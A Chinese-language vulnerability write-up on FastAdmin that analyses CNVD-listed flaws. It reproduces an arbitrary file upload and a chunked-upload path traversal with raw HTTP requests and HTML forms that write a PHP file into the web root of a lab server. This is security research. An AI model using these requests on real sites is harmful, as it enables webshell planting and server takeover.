0x00简介
算是一个漏洞整理吧
最近看了下cnvd上关于fastadmin的漏洞报送

其实有一些漏洞没啥意思
比如下面这种CVE-2021-43117
再就是之前爆出的漏洞了,比如empty方法的文件包含,限制就是只能在windows下
经过选择大概如下
- CNVD-2021-37445:fastadmin<=1.2.0.20210401 (7.1分)
- 后台auth类eval代码执行,这个可以说是用的最多的一个漏洞了。虽然是后台
- CNVD-2021-26002:fastadmin<=1.2.0.20210125 (10.0分)
- 如果对比的不错的话,这个有点名不副实了,分片传输那个,非默认配置
- CNVD-2021-14834:fastadmin<=1.0.0.20200920 (9.0分)
- SQl注入:后台普通用户的注入(这个没啥意义但是突然看到记录一下)
- 任意文件上传:无编号:1.0.0.20180406,大概是2018版之前的
0x01 漏洞分析复现
任意文件上传
这里就以1.0.0.20180406
为例
github下载地址
在api/common/upload方法中,可以看到此时的判断条件其实是一堆and
第一个条件,默认的mimetype不为*
'mimetype' => 'jpg,png,bmp,jpeg,gif,zip,rar,xls,xlsx',
第二个条件suffix应当是我们上传的后缀,需要是php,此时前两个判断都为true
第三个和第四个条件取自上传文件的类型,这个也是可控的,完全可以为false
当然漏洞复现的话需要前台账户,可以直接注册
脚本化的话,正常的注册接口需要输入验证码,所以使用api接口的注册功能,这里不需要验证信息可以随便填
1 2 3 4
| POST /index.php/api/user/register HTTP/1.1 Cookie: PHPSESSID=rvitsn3e1lbbcab8h5gccalah8;
username=fastadmin_2018&password=admin@123&email=&mobile=
|
然后使用此cookie登录,其实重点是后面返回的token,为了兼容版本两个都带着
1 2 3 4
| POST /index.php/index/user/login.html HTTP/1.1 Cookie: PHPSESSID=rvitsn3e1lbbcab8h5gccalah8
url=&__token__=c45e6f4b0b0832192d6327295c04923c&account=fastadmin_2018&password=admin%40123&keeplogin=1
|
上传html
1 2 3 4 5 6 7 8
| <html> <body> <form action='http://192.168.31.251:8305/index.php/index/ajax/upload' method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
|
SQL注入
在后台有一个不需要鉴权的方法
跟进之后可以看到其实所有的参数都是可控的
可以发现其实key是完全可控的
具体因为设计后台 不复现了
分片上传
测试版本,github下载地址
限制就是不是默认配置,需要后台开启支持分片上传
看一下实现的逻辑
其实是在合并完文件之后,未调用upload方法之前已经把文件写了,然后对chunkid并未进行过滤
首先看一下common的upload方法,chunkid完全可控
跟进chunk方法
很明显这里是可以跳出runtime目录的,一般都访问不到runtime,还是要跳到public下去的
然后我们看一看merge方法
其实这个方法里面,这里的upload才进入正常的上传逻辑
但是,在这之前已经完成了文件写入
漏洞复现,同样是先注册一个前台账号
并且将配置修改成允许分片
上传html
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <html> <body> <form action='http://192.168.31.251:8305/index.php/index/ajax/upload' method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="hidden" name="chunkid" value="../../public/assets/js/fastadmin_2021.php"/> <input type="hidden" name="action" value="chunk"/> <input type="hidden" name="chunkindex" value="0"/> <input type="hidden" name="chunkcount" value="1"/> <input type="hidden" name="filename" value="a.png"/> <input type="submit" value="submit" /> </form> </body> </html>
|
上传数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| POST /index.php/index/ajax/upload HTTP/1.1 Host: 192.168.31.251:8305 Content-Length: 733 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysOszomuY7a9NnEkH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Cookie: Hm_lvt_f8d0a8c400404989e195270b0bbf060a=1658543127; PHPSESSID=rvitsn3e1lbbcab8h5gccalah8; Hm_lpvt_f8d0a8c400404989e195270b0bbf060a=1658579476; token=9ae04030-df7f-432a-affa-8407d74080c0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
------WebKitFormBoundarysOszomuY7a9NnEkH Content-Disposition: form-data; name="file"; filename="aaaa.jpg" Content-Type: application/octet-stream
aaaaaaaaaa ------WebKitFormBoundarysOszomuY7a9NnEkH Content-Disposition: form-data; name="chunkid"
../../public/uploads/fastadmin_2021.php ------WebKitFormBoundarysOszomuY7a9NnEkH Content-Disposition: form-data; name="action"
chunk ------WebKitFormBoundarysOszomuY7a9NnEkH Content-Disposition: form-data; name="chunkindex"
0 ------WebKitFormBoundarysOszomuY7a9NnEkH Content-Disposition: form-data; name="chunkcount"
1 ------WebKitFormBoundarysOszomuY7a9NnEkH Content-Disposition: form-data; name="filename"
a.png ------WebKitFormBoundarysOszomuY7a9NnEkH--
|
然后开始合并
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /index.php/index/ajax/upload HTTP/1.1 Host: 192.168.31.251:8305 Content-Length: 113 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Cookie: Hm_lvt_f8d0a8c400404989e195270b0bbf060a=1658543127; PHPSESSID=rvitsn3e1lbbcab8h5gccalah8; Hm_lpvt_f8d0a8c400404989e195270b0bbf060a=1658579476; token=9ae04030-df7f-432a-affa-8407d74080c0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
chunkid=..%2f..%2fpublic%2fassets%2fjs%2ffastadmin_2021.php&action=merge&chunkindex=0&chunkcount=1&filename=a.png
|
虽然报错但是文件已经生成
路径和文件名完全可控
文件包含
这个就很简单了
上传文件先,其实这里生成的文件是固定的
直接包含
0x02 end
暂时这些